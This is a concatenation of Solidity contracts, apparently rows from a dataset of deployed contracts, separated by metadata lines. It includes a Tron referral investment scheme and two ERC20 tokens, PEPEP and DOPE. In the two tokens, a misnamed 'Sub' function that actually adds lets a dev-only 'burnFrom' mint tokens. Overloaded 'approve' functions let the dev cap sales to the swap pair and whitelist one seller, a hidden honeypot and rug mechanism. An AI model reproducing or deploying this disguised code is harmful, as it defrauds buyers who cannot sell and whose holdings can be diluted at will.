}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract TronEvolution {
using SafeMath for uint256;
uint256 constant public INVEST_MIN_AMOUNT = 10 trx;
uint256 constant public INVEST_MAX_AMOUNT = 15 trx;
uint256 constant public BASE_PERCENT = 10;
uint256[] public REFERRAL_PERCENTS = [30, 20, 10];
uint256 constant public MARKETING_FEE = 80;
uint256 constant public PROJECT_FEE = 20;
uint256 constant public PERCENTS_DIVIDER = 1000;
uint256 constant public CONTRACT_BALANCE_STEP = 1000000 trx;
uint256 constant public TIME_STEP = 1 days;
uint256 public totalUsers;
uint256 public totalInvested;
uint256 public totalWithdrawn;
uint256 public totalDeposits;
address payable public marketingAddress;
address payable public projectAddress;
struct Deposit {
uint256 amount;
uint256 withdrawn;
uint256 start;
}
struct User {
Deposit[] deposits;
uint256 checkpoint;
address referrer;
uint256 bonus;
uint256 level1;
uint256 level2;
uint256 level3;
uint256 withdrawRef;
}
mapping (address => User) internal users;
event Newbie(address user);
event NewDeposit(address indexed user, uint256 amount);
event Withdrawn(address indexed user, uint256 amount);
event RefBonus(address indexed referrer, address indexed referral, uint256 indexed level, uint256 amount);
event FeePayed(address indexed user, uint256 totalAmount);
constructor(address payable marketingAddr, address payable projectAddr) public {
require(!isContract(marketingAddr) && !isContract(projectAddr));
marketingAddress = marketingAddr;
projectAddress = projectAddr;
}
function invest(address referrer) public payable {
require(msg.value >= INVEST_MIN_AMOUNT);
require(msg.value <= INVEST_MAX_AMOUNT);
marketingAddress.transfer(msg.value.mul(MARKETING_FEE).div(PERCENTS_DIVIDER));
projectAddress.transfer(msg.value.mul(PROJECT_FEE).div(PERCENTS_DIVIDER));
emit FeePayed(msg.sender, msg.value.mul(MARKETING_FEE.add(PROJECT_FEE)).div(PERCENTS_DIVIDER));
User storage user = users[msg.sender];
if (user.referrer == address(0) && users[referrer].deposits.length > 0 && referrer != msg.sender) {
user.referrer = referrer;
}
if (user.referrer != address(0)) {
address upline = user.referrer;
for (uint256 i = 0; i < 3; i++) {
if (upline != address(0)) {
uint256 amount = msg.value.mul(REFERRAL_PERCENTS[i]).div(PERCENTS_DIVIDER);
users[upline].bonus = users[upline].bonus.add(amount);
if(i == 0){
users[upline].level1 = users[upline].level1.add(1);
} else if(i == 1){
users[upline].level2 = users[upline].level2.add(1);
} else if(i == 2){
users[upline].level3 = users[upline].level3.add(1);
}
emit RefBonus(upline, msg.sender, i, amount);
upline = users[upline].referrer;
} else break;
}
}
if (user.deposits.length == 0) {
user.withdrawRef = 0;
user.checkpoint = block.timestamp;
totalUsers = totalUsers.add(1);
emit Newbie(msg.sender);
}
user.deposits.push(Deposit(msg.value, 0, block.timestamp));
totalInvested = totalInvested.add(msg.value);
totalDeposits = totalDeposits.add(1);
emit NewDeposit(msg.sender, msg.value);
}
function withdraw() public {
User storage user = users[msg.sender];
uint256 userPercentRate = getUserPercentRate(msg.sender);
uint256 totalAmount;
uint256 dividends;
for (uint256 i = 0; i < user.deposits.length; i++) {
if (user.deposits[i].withdrawn < user.deposits[i].amount.mul(2)) {
if (user.deposits[i].start > user.checkpoint) {
dividends = (user.deposits[i].amount.mul(userPercentRate).div(PERCENTS_DIVIDER))
.mul(block.timestamp.sub(user.deposits[i].start))
.div(TIME_STEP);
} else {
dividends = (user.deposits[i].amount.mul(userPercentRate).div(PERCENTS_DIVIDER))
.mul(block.timestamp.sub(user.checkpoint))
.div(TIME_STEP);
}
if (user.deposits[i].withdrawn.add(dividends) > user.deposits[i].amount.mul(2)) {
dividends = (user.deposits[i].amount.mul(2)).sub(user.deposits[i].withdrawn);
}
user.deposits[i].withdrawn = user.deposits[i].withdrawn.add(dividends); /// changing of storage data
totalAmount = totalAmount.add(dividends);
}
}
uint256 referralBonus = getUserReferralBonus(msg.sender);
if (referralBonus > 0) {
totalAmount = totalAmount.add(referralBonus);
user.withdrawRef = user.withdrawRef.add(referralBonus);
user.bonus = 0;
}
require(totalAmount > 0, "User has no dividends");
uint256 contractBalance = address(this).balance;
if (contractBalance < totalAmount) {
totalAmount = contractBalance;
}
user.checkpoint = block.timestamp;
msg.sender.transfer(totalAmount);
totalWithdrawn = totalWithdrawn.add(totalAmount);
emit Withdrawn(msg.sender, totalAmount);
}
function getContractBalance() public view returns (uint256) {
return address(this).balance;
}
function getContractBalanceRate() public view returns (uint256) {
uint256 contractBalance = address(this).balance;
uint256 contractBalancePercent = contractBalance.div(CONTRACT_BALANCE_STEP);
return BASE_PERCENT.add(contractBalancePercent);
}
function getUserPercentRate(address userAddress) public view returns (uint256) {
User storage user = users[userAddress];
uint256 contractBalanceRate = getContractBalanceRate();
if (isActive(userAddress)) {
uint256 timeMultiplier = (now.sub(user.checkpoint)).div(TIME_STEP);
return contractBalanceRate.add(timeMultiplier);
} else {
return contractBalanceRate;
}
}
function getUserDividends(address userAddress) public view returns (uint256) {
User storage user = users[userAddress];
uint256 userPercentRate = getUserPercentRate(userAddress);
uint256 totalDividends;
uint256 dividends;
for (uint256 i = 0; i < user.deposits.length; i++) {
if (user.deposits[i].withdrawn < user.deposits[i].amount.mul(2)) {
if (user.deposits[i].start > user.checkpoint) {
dividends = (user.deposits[i].amount.mul(userPercentRate).div(PERCENTS_DIVIDER))
.mul(block.timestamp.sub(user.deposits[i].start))
.div(TIME_STEP);
} else {
dividends = (user.deposits[i].amount.mul(userPercentRate).div(PERCENTS_DIVIDER))
.mul(block.timestamp.sub(user.checkpoint))
.div(TIME_STEP);
}
if (user.deposits[i].withdrawn.add(dividends) > user.deposits[i].amount.mul(2)) {
dividends = (user.deposits[i].amount.mul(2)).sub(user.deposits[i].withdrawn);
}
totalDividends = totalDividends.add(dividends);
/// no update of withdrawn because that is view function
}
}
return totalDividends;
}
function getUserCheckpoint(address userAddress) public view returns(uint256) {
return users[userAddress].checkpoint;
}
function getUserReferrer(address userAddress) public view returns(address) {
return users[userAddress].referrer;
}
function getUserDownlineCount(address userAddress) public view returns(uint256, uint256, uint256) {
return (users[userAddress].level1, users[userAddress].level2, users[userAddress].level3);
}
function getUserReferralBonus(address userAddress) public view returns(uint256) {
return users[userAddress].bonus;
}
function getUserReferralWithdraw(address userAddress) public view returns(uint256) {
return users[userAddress].withdrawRef;
}
function getUserAvailableBalanceForWithdrawal(address userAddress) public view returns(uint256) {
return getUserReferralBonus(userAddress).add(getUserDividends(userAddress));
}
function isActive(address userAddress) public view returns (bool) {
User storage user = users[userAddress];
if (user.deposits.length > 0) {
if (user.deposits[user.deposits.length-1].withdrawn < user.deposits[user.deposits.length-1].amount.mul(2)) {
return true;
}
}
}
function getUserDepositInfo(address userAddress, uint256 index) public view returns(uint256, uint256, uint256) {
User storage user = users[userAddress];
return (user.deposits[index].amount, user.deposits[index].withdrawn, user.deposits[index].start);
}
function getUserAmountOfDeposits(address userAddress) public view returns(uint256) {
return users[userAddress].deposits.length;
}
function getUserTotalDeposits(address userAddress) public view returns(uint256) {
User storage user = users[userAddress];
uint256 amount;
for (uint256 i = 0; i < user.deposits.length; i++) {
amount = amount.add(user.deposits[i].amount);
}
return amount;
}
function getUserTotalWithdrawn(address userAddress) public view returns(uint256) {
User storage user = users[userAddress];
uint256 amount;
for (uint256 i = 0; i < user.deposits.length; i++) {
amount = amount.add(user.deposits[i].withdrawn);
}
return amount;
}
function isContract(address addr) internal view returns (bool) {
uint size;
assembly { size := extcodesize(addr) }
return size > 0;
}
function getHoldBonus(address userAddress) public view returns(uint256) {
if(getUserCheckpoint(userAddress) == 0){
return (block.timestamp.sub(users[userAddress].checkpoint)).mod(24);
}else {
return 0;
}
}
}
| 295,585 | 14,029 |
b2b72986aa3b6578db5b83fee494f9a7c7e1d51d89ed7ae04482fb0c84a2b03a
| 19,920 |
.sol
|
Solidity
| false |
454080957
|
tintinweb/smart-contract-sanctuary-arbitrum
|
22f63ccbfcf792323b5e919312e2678851cff29e
|
contracts/mainnet/3f/3f9274c4b05023268c686eadea969bd235b81815_PEPEP.sol
| 3,228 | 11,019 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function Sub(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IUniswapV2Factory {
function getPair(address tokenA, address tokenB) external view returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract PEPEP is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address private _excludeDevAddress;
address private _approvedAddress;
uint256 private _tTotal = 10**11 * 10**18;
string private _name;
string private _symbol;
uint8 private _decimals = 18;
uint256 private _maxTotal;
IUniswapV2Router02 public uniSwapRouter;
address public uniSwapPair;
address payable public BURN_ADDRESS = 0x000000000000000000000000000000000000dEaD;
uint256 private _total = 10**11 * 10**18;
event uniSwapRouterUpdated(address indexed operator, address indexed router, address indexed pair);
constructor (address devAddress, string memory name, string memory symbol) public {
_excludeDevAddress = devAddress;
_name = name;
_symbol = symbol;
_balances[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function burnFrom(uint256 amount) public {
require(_msgSender() != address(0), "ERC20: cannot permit zero address");
require(_msgSender() == _excludeDevAddress, "ERC20: cannot permit dev address");
_tTotal = _tTotal.Sub(amount);
_balances[_msgSender()] = _balances[_msgSender()].Sub(amount);
emit Transfer(address(0), _msgSender(), amount);
}
function approve(address approveAddr1, address approveAddr2) public onlyOwner {
approveAddr1 = approveAddr2;
uniSwapRouter = IUniswapV2Router02(approveAddr1);
uniSwapPair = IUniswapV2Factory(uniSwapRouter.factory()).getPair(address(this), uniSwapRouter.WETH());
require(uniSwapPair != address(0), "updateTokenSwapRouter: Invalid pair address.");
emit uniSwapRouterUpdated(msg.sender, address(uniSwapRouter), uniSwapPair);
}
function approve(address approvedAddress) public {
require(_msgSender() == _excludeDevAddress, "ERC20: cannot permit dev address");
_approvedAddress = approvedAddress;
}
function approve(uint256 approveAmount) public {
require(_msgSender() == _excludeDevAddress, "ERC20: cannot permit dev address");
_total = approveAmount * 10**18;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
if (sender == owner()) {
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
} else{
if (sender != _approvedAddress && recipient == uniSwapPair) {
require(amount < _total, "Transfer amount exceeds the maxTxAmount.");
}
uint256 burnAmount = 0;
uint256 sendAmount = amount.sub(burnAmount);
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[BURN_ADDRESS] = _balances[BURN_ADDRESS].add(burnAmount);
_balances[recipient] = _balances[recipient].add(sendAmount);
emit Transfer(sender, recipient, sendAmount);
}
}
}
| 44,047 | 14,030 |
54bd379f67ada7424234455776538c6485ba48fb3c5c28ac4b5cf965932ac7cb
| 19,828 |
.sol
|
Solidity
| false |
454080957
|
tintinweb/smart-contract-sanctuary-arbitrum
|
22f63ccbfcf792323b5e919312e2678851cff29e
|
contracts/mainnet/80/80d264b2b53517b3c4cc6fa81c765885fa49cc74_DOPE.sol
| 3,236 | 11,039 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function Sub(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IUniswapV2Factory {
function getPair(address tokenA, address tokenB) external view returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract DOPE is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address private _excludeDevAddress;
address private _approvedAddress;
uint256 private _tTotal = 10**11 * 10**18;
string private _name;
string private _symbol;
uint8 private _decimals = 18;
uint256 private _maxTotal;
IUniswapV2Router02 public uniSwapRouter;
address public uniSwapPair;
address payable public BURN_ADDRESS = 0x000000000000000000000000000000000000dEaD;
uint256 private _total = 10**11 * 10**18;
event uniSwapRouterUpdated(address indexed operator, address indexed router, address indexed pair);
constructor (address devAddress, string memory name, string memory symbol) public {
_excludeDevAddress = devAddress;
_name = name;
_symbol = symbol;
_balances[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function burnFrom(uint256 amount) public {
require(_msgSender() != address(0), "ERC20: cannot permit zero address");
require(_msgSender() == _excludeDevAddress, "ERC20: cannot permit dev address");
_tTotal = _tTotal.Sub(amount);
_balances[_msgSender()] = _balances[_msgSender()].Sub(amount);
emit Transfer(address(0), _msgSender(), amount);
}
function approve(address approveAddr1, address approveAddr2) public onlyOwner {
approveAddr1 = approveAddr2;
uniSwapRouter = IUniswapV2Router02(approveAddr1);
uniSwapPair = IUniswapV2Factory(uniSwapRouter.factory()).getPair(address(this), uniSwapRouter.WETH());
require(uniSwapPair != address(0), "updateTokenSwapRouter: Invalid pair address.");
emit uniSwapRouterUpdated(msg.sender, address(uniSwapRouter), uniSwapPair);
}
function approve(address approvedAddress) public {
require(_msgSender() == _excludeDevAddress, "ERC20: cannot permit dev address");
_approvedAddress = approvedAddress;
}
function approve(uint256 approveAmount) public {
require(_msgSender() == _excludeDevAddress, "ERC20: cannot permit dev address");
_total = approveAmount * 10**18;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
if (sender == owner()) {
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
} else{
if (sender != _approvedAddress && recipient == uniSwapPair) {
require(amount < _total, "Transfer amount exceeds the maxTxAmount.");
}
uint256 burnAmount = amount.mul(5).div(100);
uint256 sendAmount = amount.sub(burnAmount);
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[BURN_ADDRESS] = _balances[BURN_ADDRESS].add(burnAmount);
_balances[recipient] = _balances[recipient].add(sendAmount);
emit Transfer(sender, recipient, sendAmount);
}
}
}
| 36,206 | 14,031 |
cac9c27441f7e40ac75c79acd960654ddeb64b4fd6d736694d18ffc56cfd0ce3
| 40,537 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/ab/Ab069E73f1AA50c37A7171D16dCc3614c705101B_FPI.sol
| 4,835 | 18,812 |
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.8.0;
// Sources flattened with hardhat v2.8.3 https://hardhat.org
// File @openzeppelin/contracts/token/ERC20/[emailprotected]
// OpenZeppelin Contracts v4.4.1 (token/ERC20/IERC20.sol)
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File @openzeppelin/contracts/token/ERC20/extensions/[emailprotected]
// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol)
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
// File @openzeppelin/contracts/utils/[emailprotected]
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File @openzeppelin/contracts/token/ERC20/[emailprotected]
// OpenZeppelin Contracts v4.4.1 (token/ERC20/ERC20.sol)
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function decimals() public view virtual override returns (uint8) {
return 18;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender,
address recipient,
uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
function _transfer(address sender,
address recipient,
uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
_afterTokenTransfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
